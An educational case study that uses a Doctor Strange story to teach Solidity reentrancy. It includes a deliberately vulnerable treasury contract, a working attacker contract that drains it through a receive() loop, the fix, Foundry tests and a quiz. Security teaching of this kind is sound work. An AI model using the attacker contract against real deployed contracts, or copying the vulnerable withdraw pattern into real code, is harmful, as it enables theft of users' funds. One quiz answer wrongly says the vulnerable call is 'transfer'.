
🌀 Doctor Strange vs Dormammu - Reentrancy Exploit Case Study
TL;DR
- Vulnerability: Reentrancy in
withdraw()
(external call before state update). - Impact: An attacker (Doctor Strange, via the Time Stone) can reenter via fallback and drain the Dormammu Treasury.
- Severity: High
- Fix: Apply CEI (update state before external calls) and use a reentrancy guard.
🎬 Story Time
In Doctor Strange (2016), Strange traps Dormammu in an infinite time loop. Just like Strange looping Dormammu until surrender, the receive()
loop forces the treasury into repeated withdrawals until drained.
In smart contract security:
- Dormammu = “timeless treasury” → vulnerable to reentrancy (powerful but careless).
- Doctor Strange = doesn’t attack directly → he uses the Time Stone.
- Time Stone (contract) = has the receive() fallback and does the recursive withdraw() calls (the infinite loop).
This mirrors the movie: Strange wins not by force, but by infinite repetition - just like a reentrancy attack.
Actors / Roles
Actor | Role |
---|---|
DormammuTreasuryVulnerable | the treasury (victim). |
TimeStone | the attack contract (the magical exploit engine). |
DoctorStrange (EOA / test) | just a caller who wields the TimeStone. |
All Files Available here.
Vulnerable Contract
the DormammuTreasuryVulnerable.sol
:
// SPDX-License-Identifier: MITpragma solidity ^0.8.24;
/* Dormammu (the treasury) holds Ether for citizens and pays a reward on withdraw. Bug: withdraw() sends Ether before updating the user's balance (CEI violation). An attacker (Doctor Strange) can reenter withdraw() in their fallback and drain the contract.*/
contract DormammuTreasuryVulnerable { mapping(address => uint256) public balanceOf;
/// @notice Alien Citizens deposit to the Dormammu Treasury function deposit() external payable { require(msg.value > 0, "zero deposit"); balanceOf[msg.sender] += msg.value; }
/// @notice Withdraw available balance (vulnerable) function withdraw() external { uint256 amount = balanceOf[msg.sender]; require(amount > 0, "no balance");
// 🛑 Vulnerable: external call happens BEFORE state update (bool sent,) = payable(msg.sender).call{value: amount}(""); require(sent, "send failed");
// state update happens after the external call - attacker can reenter here balanceOf[msg.sender] = 0; }
/// @notice Current treasury balance function treasuryBalance() external view returns (uint256) { return address(this).balance; }}
WARNINGExternal call happens before state reset. If the recipient is a contract with a
receive()
orfallback()
, it can callwithdraw()
again before its balance is cleared.
Proof of Exploit
Attacker = TimeStone.sol:
// SPDX-License-Identifier: MITpragma solidity ^0.8.24;
import {DormammuTreasuryVulnerable} from "./DormammuTreasuryVulnerable.sol";
/// @title Doctor Strange attacker (reentrancy).contract TimeStone { DormammuTreasuryVulnerable public treasury; address public owner; uint256 public rewardAmount;
constructor(address _vuln) { treasury = DormammuTreasuryVulnerable(_vuln); owner = msg.sender; }
/// @notice deposit and start the attack function attack() external payable { require(msg.sender == owner, "You're not a Doctor Strange"); require(msg.value > 0, "send ETH to attack"); // deposit small amount to be eligible for withdraw treasury.deposit{value: msg.value}(); // set single-call baseline reward to attempt rewardAmount = msg.value; treasury.withdraw(); }
/// @notice fallback - reenter while the treasury still has funds receive() external payable { // while the treasury still has at least `rewardAmount`, reenter withdraw() // careful: this condition keeps reentering until the treasury is drained or < rewardAmount if (address(treasury).balance >= rewardAmount) { treasury.withdraw(); } }
/// @notice collect stolen funds to owner externally (for test reporting) function collect() external { require(msg.sender == owner, "You're not a Doctor Strange"); payable(owner).transfer(address(this).balance); }}
🌀 The Attack Flow (Vulnerable)
- Strange Deposits: Doctor Strange deposits 1 ETH into the vulnerable treasury.
- Strange Withdraws: Strange calls the
withdraw()
function on the treasury contract. - Treasury Sends Ether: The treasury sends the 1 ETH to Strange’s contract before updating his balance to zero.
- Re-entry: Strange’s contract has a
receive()
fallback that is triggered by the incoming ETH. This fallback immediately calls thewithdraw()
function again. - Infinite Loop: Since Strange’s balance was never reset, the treasury sends another 1 ETH. This loop continues until the treasury is empty.
Fixed Contract
DormammuTreasuryFixed.sol
:
// SPDX-License-Identifier: MITpragma solidity ^0.8.24;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract DormammuTreasuryFixed is ReentrancyGuard {6 collapsed lines
mapping(address => uint256) public balanceOf;
function deposit() external payable { require(msg.value > 0, "zero deposit"); balanceOf[msg.sender] += msg.value; }
function withdraw() external nonReentrant { uint256 amount = balanceOf[msg.sender]; require(amount > 0, "no balance");
// Effects first balanceOf[msg.sender] = 0;
// Then interaction (bool sent, ) = payable(msg.sender).call{value: amount}(""); require(sent, "send failed"); }
function treasuryBalance() external view returns (uint256) { return address(this).balance; }}
Fixes applied:
- CEI (update balance before transfer).
nonReentrant
modifier for extra guard.
Foundry Test (Exploit Reproduction)
test/ExploitDormammu.t.sol
:
// SPDX-License-Identifier: MITpragma solidity ^0.8.24;5 collapsed lines
import {Test} from "forge-std/Test.sol";import {DormammuTreasuryVulnerable} from "../src/DormammuTreasuryVulnerable.sol";import {DormammuTreasuryFixed} from "../src/DormammuTreasuryFixed.sol";import {TimeStone} from "../src/TimeStone.sol";
contract ReentrancyDormammuTest is Test { DormammuTreasuryVulnerable treasury; DormammuTreasuryFixed fixedTreasury; TimeStone stone; TimeStone timeStoneFixed;
address public Doctor_Strange = makeAddr("Doctor Strange");
function setUp() public { // Deploy vulnerable and fixed contracts treasury = new DormammuTreasuryVulnerable(); fixedTreasury = new DormammuTreasuryFixed();
// Fund the Dormammu treasury (other citizens) vm.deal(address(this), 50 ether); // send 20 ETH to vulnerable treasury as "Alien citizen deposits" treasury.deposit{value: 20 ether}(); fixedTreasury.deposit{value: 20 ether}();
// deploy stone and fund it vm.prank(Doctor_Strange); stone = new TimeStone(address(treasury)); vm.deal(address(Doctor_Strange), 5 ether);
vm.prank(Doctor_Strange); timeStoneFixed = new TimeStone(address(fixedTreasury)); }
function test_Strange_Drains_Dormammu_With_TimeStone() public { // Check initial balances uint256 initialTreasury = address(treasury).balance; assertEq(initialTreasury, 20 ether);
// Doctor Strange: Doctor Strange deposits 1 ETH and triggers reentrancy withdraw vm.prank(Doctor_Strange); stone.attack{value: 1 ether}();
// After attack collect to track funds in This Contract (optional) vm.prank(Doctor_Strange); stone.collect();
// Doctor Strange (via Time Stone) gains more than his initial 1 ETH // Dormammu Treasury should NOT have its full 20 ETH anymore uint256 remainingTreasury = address(treasury).balance; assertLt(remainingTreasury, 20 ether, "Dormammu Treasury should have lost funds due to reentrancy"); }
/// @notice Minimal test reusing vulnerable pattern but targeting fixed contract type function test_Fixed_Resists_Reentrancy() public { // Check initial balances uint256 initialTreasury = address(fixedTreasury).balance; assertEq(initialTreasury, 20 ether);
// Doctor Strange tries to attack fixed treasury vm.prank(Doctor_Strange); vm.expectRevert(); // we EXPECT this to fail timeStoneFixed.attack{value: 1 ether}();
// Verify treasury still holds full funds uint256 remainingfixedTreasury = address(fixedTreasury).balance; assertEq(remainingfixedTreasury, 20 ether, "Fixed treasury should resist reentrancy and keep full funds"); }}
In test_Fixed_Resists_Reentrancy()
,
why we expect revert:
The reason the test for the fixed contract expects a revert is that the nonReentrant
modifier on the withdraw
function works exactly as it should.
- The attacker’s contract calls
withdraw()
for the first time. ThenonReentrant
modifier locks the function. - The attacker’s fallback function is triggered and tries to call
withdraw()
again. - The
nonReentrant
modifier sees the function is still locked and immediately reverts the entire transaction.
Auditor’s Checklist
- External calls before state updates.
- Missing
nonReentrant
. - Loops with external calls.
- No attacker simulation in tests.
Recommendations
- Always apply Checks → Effects → Interactions.
- Use
nonReentrant
modifiers. - Consider pull-payment patterns.
- Test with attacker contracts in CI pipelines.
References
- MCU: Doctor Strange (2016) → loop analogy.
- Historical hacks:
1. GMX-$40M Reentrancy Exploit (November 4, 2025)
- Loss: Approximately $40 million
- Details: The exploit stemmed from a reentrancy vulnerability in
executeDecreaseOrder()
. The function accepted smart contract addresses (instead of EOAs), enabling attackers to inject arbitrary reentry logic during callbacks.Medium - Relevance to CEI: External interactions were allowed before proper state updates or input validation, violating CEI principles. It underscores that even complex logic like order execution must respect CEI.
2. Penpie (Pendle) - $27M Exploit (September 3, 2024)
- Loss: Around $27 million stolen
- Details: Attackers deployed fake yield-bearing tokens (SY), created malicious pools, and triggered reentrancy to drain rewards. Successfully siphoned $15.7M in one transaction, followed by two more that took $5.6M each.CryptoSlate
- CEI Breakdown: The exploit shows how reentrancy can be combined with token manipulation-even fake tokens can be used to violate interaction and balance update order.
- OpenZeppelin’s ReentrancyGuard.
How to Run Locally
# install Foundrycurl -L https://foundry.paradigm.xyz | bashfoundryup
# clone repo & testforge test -vv
Challenge: Seal the Dark Dimension Loop!
Challenge Name: Strange’s Time Loop Defense
Description: Can you trap Dormammu’s reentrancy attack like Doctor Strange? Stop the recursive drain!
- Deploy the vulnerable
DormammuTreasuryVulnerable.sol
on Sepolia testnet (use Remix or Foundry). - Execute the reentrancy attack using a Foundry test to drain funds .
- Implement a fix (e.g., OpenZeppelin’s
nonReentrant
modifier or Checks-Effects-Interactions). - Share your fixed contract’s Sepolia address on X with
#TheSandFChallenge
and@THE_SANDF
. - Bonus: Post a screenshot of your transaction logs!
- Top submissions get a chance to join our audit beta program!
Three Quiz Questions to Test Understanding
-
What makes DormammuTreasuryVulnerable.sol vulnerable to a reentrancy attack?
a) Missing multi-signature validation
b) Incorrect gas limit in the withdraw function
c) External call totransfer
before state update
d) Public visibility of the deposit functionShow Answer
Answer: c) External call to
transfer
before state update
Explanation: Thewithdraw
function sends ETH before updating the balance, allowing recursive calls to drain funds. -
Which fix prevents Dormammu’s reentrancy attack?
a) Adding a timelock to withdrawals
b) Using OpenZeppelin’snonReentrant
modifier
c) Increasing the contract’s ETH reserves
d) Requiring a signature for withdrawalsShow Answer
Answer: b) Using OpenZeppelin’s
nonReentrant
modifier
Explanation:nonReentrant
locks the function during execution, preventing recursive calls. -
What is the primary impact of a reentrancy attack on DormammuTreasuryVulnerable?
a) Users pay higher gas fees
b) The contract’s reserves are frozen
c) Transactions are reordered in the mempool
d) The contract’s ETH is drained unexpectedlyShow Answer
Answer: d) The contract’s ETH is drained unexpectedly
Explanation: Dormammu’s recursive calls exploit thewithdraw
function to steal ETH before balance updates.
NOTEThis repo is an educational minimal reproduction of reentrancy. The MCU analogy (Doctor Strange looping Dormammu) makes the bug memorable, but the exploit reflects real-world $150M+ hacks.
Ready to Battle Bugs?
Join the Defi CTF Challenge! Audit vulnerable contracts in our Defi CTF Challenges (Full credit to Hans Friese, co-founder of Cyfrin.), submit your report via GitHub Issues/Discussions, or tag @THE_SANDF on X. Let’s secure the Web3 multiverse together! 🏗️ Start the Challenge